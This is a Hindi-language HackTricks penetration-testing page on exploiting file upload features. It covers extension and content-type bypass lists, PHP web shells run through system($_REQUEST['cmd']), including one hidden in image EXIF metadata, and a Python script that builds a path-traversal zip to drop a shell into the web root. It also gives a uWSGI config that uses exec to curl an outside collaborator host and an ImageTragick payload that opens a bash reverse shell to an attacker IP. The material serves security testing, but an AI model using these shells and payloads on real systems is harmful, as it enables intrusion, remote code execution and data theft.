File Upload

सीखें और AWS हैकिंग का अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) सीखें और GCP हैकिंग का अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

यदि आप हैकिंग करियर में रुचि रखते हैं और अहेक करने योग्य को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है).

फ़ाइल अपलोड सामान्य कार्यप्रणाली

अन्य उपयोगी एक्सटेंशन:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module

  • PHPv8 में कार्यरत: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp

  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml

  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action

  • Coldfusion: .cfm, .cfml, .cfc, .dbm

  • Flash: .swf

  • Perl: .pl, .cgi

  • Erlang Yaws वेब सर्वर: .yaws

फ़ाइल एक्सटेंशन जांच को बायपास करें

  1. यदि लागू हो, तो पिछले एक्सटेंशन की जांच करें। कुछ बड़े अक्षरों का उपयोग करके भी परीक्षण करें: pHp, .pHP5, .PhAr ...

  2. कार्यकारी एक्सटेंशन से पहले एक मान्य एक्सटेंशन जोड़ने की जांच करें (पिछले एक्सटेंशन का भी उपयोग करें):

  • file.png.php

  • file.png.Php5

  1. अंत में विशेष वर्ण जोड़ने का प्रयास करें। आप सभी ascii और Unicode वर्णों को bruteforce करने के लिए Burp का उपयोग कर सकते हैं। (ध्यान दें कि आप पिछले उल्लेखित एक्सटेंशन का उपयोग करने का प्रयास भी कर सकते हैं)

  • file.php%20

  • file.php%0a

  • file.php%00

  • file.php%0d%0a

  • file.php/

  • file.php.\

  • file.

  • file.php....

  • file.pHp5....

  1. सर्वर-साइड के एक्सटेंशन पार्सर को धोखा देकर सुरक्षा को बायपास करने का प्रयास करें जैसे कि एक्सटेंशन को डबल करना या जंक डेटा (null बाइट्स) को एक्सटेंशन के बीच जोड़ना। आप बेहतर पेलोड तैयार करने के लिए पिछले एक्सटेंशन का भी उपयोग कर सकते हैं.

  • file.png.php

  • file.png.pHp5

  • file.php#.png

  • file.php%00.png

  • file.php\x00.png

  • file.php%0a.png

  • file.php%0d%0a.png

  • file.phpJunk123png

  1. पिछले चेक में एक और परत के एक्सटेंशन जोड़ें:

  • file.png.jpg.php

  • file.php%00.png%00.jpg

  1. मान्य एक्सटेंशन से पहले exec एक्सटेंशन डालने का प्रयास करें और प्रार्थना करें कि सर्वर गलत कॉन्फ़िगर किया गया है। (यह उन Apache गलत कॉन्फ़िगरेशन का शोषण करने के लिए उपयोगी है जहां किसी भी एक्सटेंशन** .php, लेकिन जरूरी नहीं कि .php** पर समाप्त हो, कोड निष्पादित करेगा):

  • उदाहरण: file.php.png

  1. Windows में NTFS वैकल्पिक डेटा स्ट्रीम (ADS) का उपयोग करना। इस मामले में, एक कॉलन वर्ण “:” एक प्रतिबंधित एक्सटेंशन के बाद और एक अनुमत के पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर प्रतिबंधित एक्सटेंशन के साथ एक खाली फ़ाइल बनाई जाएगी (जैसे “file.asax:.jpg”)। इस फ़ाइल को बाद में अन्य तकनीकों का उपयोग करके संपादित किया जा सकता है जैसे कि इसके छोटे फ़ाइल नाम का उपयोग करना। “::$data” पैटर्न का उपयोग गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक डॉट वर्ण जोड़ना आगे की प्रतिबंधों को बायपास करने के लिए भी उपयोगी हो सकता है (जैसे “file.asp::$data.”)

  2. फ़ाइल नाम सीमाओं को तोड़ने का प्रयास करें। मान्य एक्सटेंशन कट जाता है। और दुर्भावनापूर्ण PHP बच जाता है। AAA<--SNIP-->AAA.php

# Linux अधिकतम 255 बाइट
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # यहाँ 4 घटाएं और .png जोड़ें
# फ़ाइल अपलोड करें और प्रतिक्रिया की जांच करें कि यह कितने वर्णों की अनुमति देता है। मान लीजिए 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# पेलोड बनाएं
AAA<--SNIP 232 A-->AAA.php.png

सामग्री-प्रकार, जादुई संख्या, संकुचन और आकार बदलने को बायपास करें

  • Content-Type जांच को बायपास करें Content-Type header के मान को सेट करके: image/png , text/plain , application/octet-stream

  • फ़ाइल की शुरुआत में एक वास्तविक छवि के बाइट्स को जोड़कर जादुई संख्या जांच को बायपास करें ( file कमांड को भ्रमित करें)। या metadata के अंदर शेल पेश करें: exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg \ या आप पेलोड को सीधे एक छवि में भी पेश कर सकते हैं: echo '<?php system($_REQUEST['cmd']); ?>' >> img.png

  • यदि आपकी छवि में संकुचन जोड़ा जा रहा है, उदाहरण के लिए कुछ मानक PHP पुस्तकालयों का उपयोग करके जैसे PHP-GD, तो पिछले तकनीकें उपयोगी नहीं होंगी। हालाँकि, आप PLTE खंड यहाँ परिभाषित तकनीक का उपयोग कर सकते हैं ताकि कुछ पाठ जोड़ा जा सके जो संकुचन को सहन करेगा।

  • वेब पृष्ठ छवि का आकार बदलने के लिए भी हो सकता है, उदाहरण के लिए PHP-GD फ़ंक्शंस imagecopyresized या imagecopyresampled का उपयोग करके। हालाँकि, आप IDAT खंड यहाँ परिभाषित तकनीक का उपयोग कर सकते हैं ताकि कुछ पाठ जोड़ा जा सके जो संकुचन को सहन करेगा।

  • एक और तकनीक जो एक पेलोड बनाने के लिए है जो छवि के आकार बदलने को सहन करता है, PHP-GD फ़ंक्शन thumbnailImage का उपयोग करना। हालाँकि, आप tEXt खंड यहाँ परिभाषित तकनीक का उपयोग कर सकते हैं ताकि कुछ पाठ जोड़ा जा सके जो संकुचन को सहन करेगा।

अन्य ट्रिक्स की जांच करें

  • पहले से अपलोड की गई फ़ाइल को नाम बदलने के लिए एक भेद्यता खोजें (एक्सटेंशन बदलने के लिए)।

  • बैकडोर निष्पादित करने के लिए स्थानीय फ़ाइल समावेशन भेद्यता खोजें।

  • संभावित जानकारी का खुलासा:

  1. एक ही फ़ाइल को कई बार (और एक ही समय में) एक ही नाम के साथ अपलोड करें।

  2. एक फ़ाइल के नाम के साथ फ़ाइल अपलोड करें या फोल्डर जो पहले से मौजूद है

  3. “.”, “..”, या “…” के रूप में नाम वाली फ़ाइल अपलोड करना। उदाहरण के लिए, Apache में Windows में, यदि एप्लिकेशन अपलोड की गई फ़ाइलों को “/www/uploads/” निर्देशिका में सहेजता है, तो “.” फ़ाइल नाम “/www/” निर्देशिका में “uploads” नाम की फ़ाइल बनाएगा।

  4. ऐसी फ़ाइल अपलोड करें जिसे आसानी से हटाया नहीं जा सकता जैसे “…:.jpg” NTFS में। (Windows)

  5. Windows में अमान्य वर्ण जैसे |<>*?” के साथ फ़ाइल अपलोड करें। (Windows)

  6. Windows में आरक्षित (प्रतिबंधित) नामों जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, और LPT9 के साथ फ़ाइल अपलोड करें।

  • एक निष्पादन योग्य (.exe) या .html (कम संदिग्ध) फ़ाइल अपलोड करने का प्रयास करें जो कोड निष्पादित करेगा जब इसे पीड़ित द्वारा गलती से खोला जाएगा।

विशेष एक्सटेंशन ट्रिक्स

यदि आप PHP सर्वर पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो कोड निष्पादित करने के लिए .htaccess ट्रिक पर एक नज़र डालें. यदि आप ASP सर्वर पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो कोड निष्पादित करने के लिए .config ट्रिक पर एक नज़र डालें.

.phar फ़ाइलें जावा के लिए .jar की तरह होती हैं, लेकिन PHP के लिए, और इन्हें PHP फ़ाइल की तरह उपयोग किया जा सकता है (इसे PHP के साथ निष्पादित करना, या इसे स्क्रिप्ट के अंदर शामिल करना...)

.inc एक्सटेंशन कभी-कभी PHP फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलों को आयात करने के लिए उपयोग की जाती हैं, इसलिए, किसी बिंदु पर, किसी ने इस एक्सटेंशन को निष्पादित करने की अनुमति दी हो

Jetty RCE

यदि आप Jetty सर्वर में एक XML फ़ाइल अपलोड कर सकते हैं तो आप RCE प्राप्त कर सकते हैं क्योंकि नई *.xml और *.war स्वचालित रूप से संसाधित होती हैं. इसलिए, जैसा कि निम्नलिखित छवि में उल्लेख किया गया है, XML फ़ाइल को $JETTY_BASE/webapps/ में अपलोड करें और शेल की उम्मीद करें!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

इस भेद्यता की विस्तृत खोज के लिए मूल शोध देखें: uWSGI RCE शोषण.

रिमोट कमांड निष्पादन (RCE) भेद्यताएँ uWSGI सर्वरों में शोषित की जा सकती हैं यदि किसी के पास .ini कॉन्फ़िगरेशन फ़ाइल को संशोधित करने की क्षमता है। uWSGI कॉन्फ़िगरेशन फ़ाइलें "जादुई" चर, प्लेसहोल्डर और ऑपरेटर को शामिल करने के लिए एक विशिष्ट वाक्यविन्यास का उपयोग करती हैं। विशेष रूप से, '@' ऑपरेटर, जिसका उपयोग @(filename) के रूप में किया जाता है, एक फ़ाइल की सामग्री को शामिल करने के लिए डिज़ाइन किया गया है। uWSGI में विभिन्न समर्थित योजनाओं में, "exec" योजना विशेष रूप से शक्तिशाली है, जो एक प्रक्रिया के मानक आउटपुट से डेटा पढ़ने की अनुमति देती है। इस सुविधा का दुरुपयोग रिमोट कमांड निष्पादन या मनमाने फ़ाइल लेखन/पढ़ने के लिए किया जा सकता है जब एक .ini कॉन्फ़िगरेशन फ़ाइल संसाधित की जाती है।

हानिकारक uwsgi.ini फ़ाइल का निम्नलिखित उदाहरण विचार करें, जो विभिन्न योजनाओं को प्रदर्शित करता है:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

पेलोड का निष्पादन कॉन्फ़िगरेशन फ़ाइल के पार्सिंग के दौरान होता है। कॉन्फ़िगरेशन को सक्रिय और पार्स करने के लिए, uWSGI प्रक्रिया को या तो पुनः प्रारंभ किया जाना चाहिए (संभावित रूप से एक क्रैश के बाद या सेवा से इनकार के हमले के कारण) या फ़ाइल को ऑटो-रीलोड पर सेट किया जाना चाहिए। ऑटो-रीलोड सुविधा, यदि सक्षम है, तो परिवर्तनों का पता लगाने पर निर्दिष्ट अंतराल पर फ़ाइल को फिर से लोड करती है।

uWSGI की कॉन्फ़िगरेशन फ़ाइल पार्सिंग की ढीली प्रकृति को समझना महत्वपूर्ण है। विशेष रूप से, चर्चा की गई पेलोड को एक बाइनरी फ़ाइल (जैसे कि एक छवि या PDF) में डाला जा सकता है, जिससे संभावित शोषण के दायरे को और बढ़ाया जा सकता है।

wget फ़ाइल अपलोड/SSRF ट्रिक

कुछ अवसरों पर आप देख सकते हैं कि एक सर्वर wget का उपयोग फ़ाइलें डाउनलोड करने के लिए कर रहा है और आप URL को संकेत कर सकते हैं। इन मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का एक्सटेंशन एक व्हाइटलिस्ट के भीतर है ताकि यह सुनिश्चित किया जा सके कि केवल अनुमत फ़ाइलें डाउनलोड की जा रही हैं। हालाँकि, यह जांच बायपास की जा सकती है। linux में फ़ाइल नाम की अधिकतम लंबाई 255 है, हालाँकि, wget फ़ाइल नामों को 236 वर्णों तक संक्षिप्त करता है। आप "A"*232+".php"+".gif" नामक फ़ाइल को डाउनलोड कर सकते हैं, यह फ़ाइल नाम जांच को बायपास करेगा (जैसे कि इस उदाहरण में ".gif" एक मान्य एक्सटेंशन है) लेकिन wget फ़ाइल का नाम "A"*232+".php" में बदल देगा

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Note that एक और विकल्प जिसे आप इस जांच को बायपास करने के लिए सोच रहे होंगे, वह है HTTP सर्वर को एक अलग फ़ाइल पर रीडायरेक्ट करना, ताकि प्रारंभिक URL जांच को बायपास कर दे और फिर wget रीडायरेक्ट की गई फ़ाइल को नए नाम के साथ डाउनलोड कर ले। यह काम नहीं करेगा जब तक wget को पैरामीटर --trust-server-names के साथ उपयोग नहीं किया जा रहा है क्योंकि wget रीडायरेक्ट की गई पृष्ठ को मूल URL में निर्दिष्ट फ़ाइल के नाम के साथ डाउनलोड करेगा

Tools

  • Upload Bypass एक शक्तिशाली उपकरण है जिसे Pentesters और Bug Hunters को फ़ाइल अपलोड तंत्र का परीक्षण करने में सहायता करने के लिए डिज़ाइन किया गया है। यह विभिन्न बग बाउंटी तकनीकों का उपयोग करता है ताकि कमजोरियों की पहचान और शोषण की प्रक्रिया को सरल बनाया जा सके, जिससे वेब अनुप्रयोगों का गहन मूल्यांकन सुनिश्चित हो सके।

फ़ाइल अपलोड से अन्य कमजोरियों तक

यहाँ शीर्ष 10 चीजों की सूची है जो आप अपलोड करके प्राप्त कर सकते हैं (से यहाँ):

  1. ASP / ASPX / PHP5 / PHP / PHP3: वेबशेल / RCE

  2. SVG: स्टोर किया गया XSS / SSRF / XXE

  3. GIF: स्टोर किया गया XSS / SSRF

  4. CSV: CSV इंजेक्शन

  5. XML: XXE

  6. AVI: LFI / SSRF

  7. HTML / JS : HTML इंजेक्शन / XSS / ओपन रीडायरेक्ट

  8. PNG / JPEG: पिक्सेल बाढ़ हमला (DoS)

  9. ZIP: LFI / DoS के माध्यम से RCE

  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

जादुई हेडर बाइट्स

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["

  • JPG: "\xff\xd8\xff"

अन्य फ़ाइल प्रकारों के लिए https://en.wikipedia.org/wiki/List_of_file_signatures देखें।

ज़िप/टार फ़ाइल स्वचालित रूप से डिकंप्रेस्ड अपलोड

यदि आप एक ZIP अपलोड कर सकते हैं जो सर्वर के अंदर डिकंप्रेस होने जा रहा है, तो आप 2 चीजें कर सकते हैं:

सिमलिंक

एक लिंक अपलोड करें जिसमें अन्य फ़ाइलों के लिए सॉफ्ट लिंक शामिल हैं, फिर, डिकंप्रेस की गई फ़ाइलों तक पहुँचते समय आप लिंक की गई फ़ाइलों तक पहुँचेंगे:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Decompress in different folders

डिकम्प्रेशन के दौरान निर्देशिकाओं में फ़ाइलों का अप्रत्याशित निर्माण एक महत्वपूर्ण समस्या है। प्रारंभिक धारणाओं के बावजूद कि यह सेटअप दुर्भावनापूर्ण फ़ाइल अपलोड के माध्यम से OS-स्तरीय कमांड निष्पादन के खिलाफ सुरक्षा कर सकता है, ZIP आर्काइव प्रारूप की पदानुक्रमित संपीड़न समर्थन और निर्देशिका यात्रा क्षमताओं का शोषण किया जा सकता है। यह हमलावरों को प्रतिबंधों को बायपास करने और लक्षित एप्लिकेशन की डिकम्प्रेशन कार्यक्षमता को हेरफेर करके सुरक्षित अपलोड निर्देशिकाओं से बाहर निकलने की अनुमति देता है।

ऐसी फ़ाइलें बनाने के लिए एक स्वचालित शोषण evilarc on GitHub पर उपलब्ध है। उपयोगिता का उपयोग इस प्रकार किया जा सकता है:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

इसके अतिरिक्त, evilarc के साथ symlink ट्रिक एक विकल्प है। यदि उद्देश्य /flag.txt जैसी फ़ाइल को लक्षित करना है, तो आपकी प्रणाली में उस फ़ाइल के लिए एक symlink बनाया जाना चाहिए। यह सुनिश्चित करता है कि evilarc अपने संचालन के दौरान त्रुटियों का सामना नहीं करता है।

नीचे एक उदाहरण है Python कोड का जिसका उपयोग एक दुर्भावनापूर्ण zip फ़ाइल बनाने के लिए किया जाता है:

#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

फाइल स्प्रेइंग के लिए संकुचन का दुरुपयोग

अधिक विवरण के लिए मूल पोस्ट देखें: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. PHP शेल बनाना: PHP कोड लिखा गया है जो $_REQUEST वेरिएबल के माध्यम से पास किए गए कमांड को निष्पादित करता है।

<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. फाइल स्प्रेइंग और संकुचित फाइल निर्माण: कई फाइलें बनाई जाती हैं और इन फाइलों को शामिल करते हुए एक ज़िप आर्काइव तैयार किया जाता है।

root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. हेक्स संपादक या vi के साथ संशोधन: ज़िप के अंदर फाइलों के नामों को vi या हेक्स संपादक का उपयोग करके बदला जाता है, "xxA" को "../" में बदलकर निर्देशिकाओं को पार किया जाता है।

:set modifiable
:%s/xxA/..\//g
:x!

ImageTragic

इस सामग्री को एक छवि एक्सटेंशन के साथ अपलोड करें ताकि भेद्यता का लाभ उठाया जा सके (ImageMagick , 7.0.1-1) ( शोषण से)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

PNG में PHP शेल एम्बेड करना

PNG फ़ाइल के IDAT भाग में PHP शेल एम्बेड करना कुछ इमेज प्रोसेसिंग ऑपरेशनों को प्रभावी ढंग से बायपास कर सकता है। PHP-GD से imagecopyresized और imagecopyresampled फ़ंक्शन इस संदर्भ में विशेष रूप से प्रासंगिक हैं, क्योंकि इन्हें क्रमशः इमेज को रिसाइज और रिसैंपल करने के लिए सामान्यतः उपयोग किया जाता है। एम्बेडेड PHP शेल की इन ऑपरेशनों से अप्रभावित रहने की क्षमता कुछ उपयोग मामलों के लिए एक महत्वपूर्ण लाभ है।

इस तकनीक की विस्तृत खोज, जिसमें इसकी कार्यप्रणाली और संभावित अनुप्रयोग शामिल हैं, निम्नलिखित लेख में प्रदान की गई है: "PNG IDAT भागों में वेब शेल्स को एन्कोड करना"। यह संसाधन प्रक्रिया और इसके निहितार्थों की व्यापक समझ प्रदान करता है।

अधिक जानकारी के लिए: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

पॉलीग्लॉट फ़ाइलें

पॉलीग्लॉट फ़ाइलें साइबर सुरक्षा में एक अनूठा उपकरण के रूप में कार्य करती हैं, जो चामेलियन्स की तरह होती हैं जो एक साथ कई फ़ाइल प्रारूपों में वैध रूप से मौजूद रह सकती हैं। एक दिलचस्प उदाहरण GIFAR है, जो एक हाइब्रिड है जो GIF और RAR आर्काइव दोनों के रूप में कार्य करता है। ऐसी फ़ाइलें इस जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैसे संयोजन भी संभव हैं।

पॉलीग्लॉट फ़ाइलों की मुख्य उपयोगिता उनकी क्षमता में निहित है जो फ़ाइलों को प्रकार के आधार पर स्क्रीन करने वाले सुरक्षा उपायों को बायपास कर सकती हैं। विभिन्न अनुप्रयोगों में सामान्य प्रथा केवल कुछ फ़ाइल प्रकारों को अपलोड करने की अनुमति देना है—जैसे JPEG, GIF, या DOC—संभावित हानिकारक प्रारूपों (जैसे JS, PHP, या Phar फ़ाइलें) द्वारा उत्पन्न जोखिम को कम करने के लिए। हालाँकि, एक पॉलीग्लॉट, जो कई फ़ाइल प्रकारों के संरचनात्मक मानदंडों के अनुरूप है, चुपचाप इन प्रतिबंधों को बायपास कर सकता है।

अपनी अनुकूलता के बावजूद, पॉलीग्लॉट्स सीमाओं का सामना करते हैं। उदाहरण के लिए, जबकि एक पॉलीग्लॉट एक साथ एक PHAR फ़ाइल (PHp ARchive) और एक JPEG को समाहित कर सकता है, इसके अपलोड की सफलता प्लेटफ़ॉर्म की फ़ाइल एक्सटेंशन नीतियों पर निर्भर कर सकती है। यदि सिस्टम अनुमत एक्सटेंशन के बारे में सख्त है, तो पॉलीग्लॉट की केवल संरचनात्मक द्वैतता इसके अपलोड की गारंटी देने के लिए पर्याप्त नहीं हो सकती है।

अधिक जानकारी के लिए: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

संदर्भ

यदि आप हैकिंग करियर में रुचि रखते हैं और अनहैक करने योग्य को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है)।

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Last updated